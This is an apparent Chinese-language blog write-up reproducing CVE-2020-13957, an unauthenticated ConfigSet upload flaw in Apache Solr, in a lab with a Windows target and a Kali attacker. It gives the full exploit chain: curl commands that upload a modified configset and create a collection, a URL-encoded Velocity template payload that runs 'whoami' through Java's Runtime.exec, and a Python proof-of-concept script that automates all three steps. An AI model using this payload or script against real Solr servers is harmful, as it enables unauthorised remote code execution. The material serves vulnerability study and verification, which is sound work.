​Apache Solr未授权上传漏洞复现及验证POC编写

简介: ​Apache Solr未授权上传漏洞复现及验证POC编写

1、相关简介


1.1、漏洞概述

CVE-2020-13957,在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用该漏洞可实现远程代码执行。


1.2、漏洞利用链

上传configset——基于configset再次上传configset(跳过身份检测),利用新configset创造collection——利用solrVelocity模板进行RCE。


1.3、影响版本

Apache Solr 6.6.0 -6.6.5

Apache Solr 7.0.0 -7.7.3

Apache Solr 8.0.0 -8.6.2


2、漏洞复现


2.1、漏洞环境


solr下载地址

http://archive.apache.org/dist/lucene/solr/

这次复现使用的是solr8.0.0版本


靶机:

win10,IP地址:192.168.94.130


攻击机:

kali


0d29ab60b7be3e4e30ffea5f4a8dcf9c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



2.2、环境搭建


首先,在win10靶机中解压solr-8.0.0.zip,然后在cmd中切换到bin目录下执行以下命令:


solr.cmd start -c



如果是在Linux系统中搭建solr环境,执行的命令为:


./solr start -e cloud -force


然后在kali的浏览器中打开http://192.168.94.130:8983/,

solr以cloud模式启动,环境搭建成功.




2.3、漏洞复现


首先在kali中解压solr-8.0.0.zip,切换到server/solr/configsets/_default/conf/目录,找到solrconfig.xml文件,并将velocity.params.resource.loader.enabled的false修改为true,即:


name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}


808a7d70ab2dfb712eb6c4eafaca83cf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


然后在

server/solr/configsets/_default/conf/目录下打开终端,执行以下命令将conf目录下所有文件打包成一个压缩文件mytest.zip


zip -r - * > mytest.zip


54ed21cfd04d171100eb858d5841a01e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


由于ConfigSet API存在未授权上传,可以通过以下命令将mytest.zip上传


curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://192.168.94.130:8983/solr/admin/configs?action=UPLOAD&name=mytest"



根据CREATE得到的新configset创建恶意collection


curl "http://192.168.94.130:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"



在kali的浏览器中输入以下地址,即可利用已上传的collection进行远程命令执行,这里执行的是whoami


http://192.168.94.130:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end


573a0ee852e3d33dd30a587cfb320c4b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

whoami执行成功了,漏洞复现成功


3、编写验证POC


3.1、重新搭建环境


回到win10靶机执行以下的solr停止命令,然后将solr8.0整个文件夹删除


solr stop -p 8983


8ff31fafffb83a8bdd3c5d95e048e37e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


重复2.2的环境搭建过程,重新搭建漏洞环境,重新在win10中启动solr(这里试过如果不重新搭建漏洞环境,再次验证漏洞时会出错)


3b1b229d5f3628ec176cb2ed829beb82_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



3.2、执行编写好的POC


先编写一个能验证漏洞存在的简单POC,如下:


#!/usr/bin/python3
#coding=utf-8
import requests
def testPoc(url):
try:
urls = url + '/solr/admin/configs?action=UPLOAD&name=mytest'
files = {
'file':('mytest.zip',open('mytest.zip','rb'),'application/octet-stream')
}
headers = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
}
response = requests.post(url=urls,headers=headers,files=files)
if response.status_code == 200:
print('上传成功')
else:
print('上传出错')
urls = url + '/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest'
response = requests.get(url=urls,headers=headers)
if response.status_code == 200:
#print(response.text)
print('创建成功')
else:
print('创建失败')
urls = url + '/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end'
response = requests.get(url=urls,headers=headers)
if response.status_code == 200:
print(response.text)
print('----------------存在漏洞---------------')
else:
print('----------------不存在漏洞')
except Exception as e:
print(e)
url = 'http://192.168.94.130:8983'
testPoc(url)
print('程序执行结束')

将编写好的poc.py文件放到kali的mytest.zip文件所在目录下


f5ff4903b33bd4f067f5d2d5fad2b81b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


在当前目录打开终端,执行编写好的python脚本验证漏洞即可:



4、总结


本次漏洞复现中遇到不少问题,比如其他大佬的漏洞复现文章中,有一个根据UPLOAD的配置,创建一个新的配置的命令,这里并没有执行也复现成功了。然后每次验证过漏洞存在时,都需要重新搭建环境等等。。菜鸟继续加油哇~


相关文章
|
2月前
|
安全 Apache
Metasploit -- 对Apache HTTP服务器守护进程中断复现
Metasploit -- 对Apache HTTP服务器守护进程中断复现
20 0
|
7月前
|
安全 应用服务中间件 Apache
Apache-Tomcat-Ajp文件读取漏洞(CVE-2020-1938、CNVD-2020-10487)
Apache-Tomcat-Ajp文件读取漏洞产生原因是由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件
278 1
|
6月前
|
存储 安全 Java
【Shiro】Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)的解决方案
【Shiro】Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)的解决方案
143 0
|
7月前
|
安全 Java Shell
Apache Log4j2 远程代码执行漏洞
Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。
59 2
|
7月前
|
SQL 安全 数据可视化
Apache Superset 未授权访问漏洞(CVE-2023-27524)
Apache Superset 存在未授权访问漏洞,攻击者可利用该漏洞验证和访问未经授权的资源。
141 1
|
7月前
|
SQL 分布式计算 测试技术
从 Clickhouse 到 Apache Doris:有赞业务场景下性能测试与迁移验证
当前,电商运营的主要痛点不仅来自多变的市场和客户需求,也受困于碎片化用户触达等带来的竞争与挑战。为了深度挖掘用户价值、培养用户忠诚度、实现业绩增长,有赞为商家搭建了全方位 OLAP 分析系统,提供实时与离线分析报表、智能营销与人群圈选等 SaaS 服务。本文将详细介绍有赞从 Clickhouse 至 Apache Doris 的迁移规划和性能对比测试实践,分享如何基于 Apache Doris 统一 OLAP 技术栈,并满足庞大数据体量下的实时分析与极速查询,最终有赞在多个场景下实现查询平均提速 200% 。
236 0
|
7月前
|
SQL 分布式计算 测试技术
从 Clickhouse 到阿里云数据库 SelectDB 版内核 Apache Doris:有赞业务场景下性能测试与迁移验证
从 Clickhouse 到阿里云数据库 SelectDB 版内核 Apache Doris 迁移实践:有赞查询提速近 10 倍,OLAP 分析更实时高效!
从 Clickhouse 到阿里云数据库 SelectDB 版内核 Apache Doris:有赞业务场景下性能测试与迁移验证
|
8月前
|
安全 druid Java
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
近期一个 Apache Log4j 远程代码执行漏洞细节被公开,攻击者利用漏洞可以远程执行代码。经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
209 1
|
10月前
|
消息中间件 存储 安全
|
11月前
|
机器学习/深度学习 人工智能 编解码
【搜索引擎】Apache Solr 神经搜索
【搜索引擎】Apache Solr 神经搜索

热门文章

最新文章

推荐镜像

更多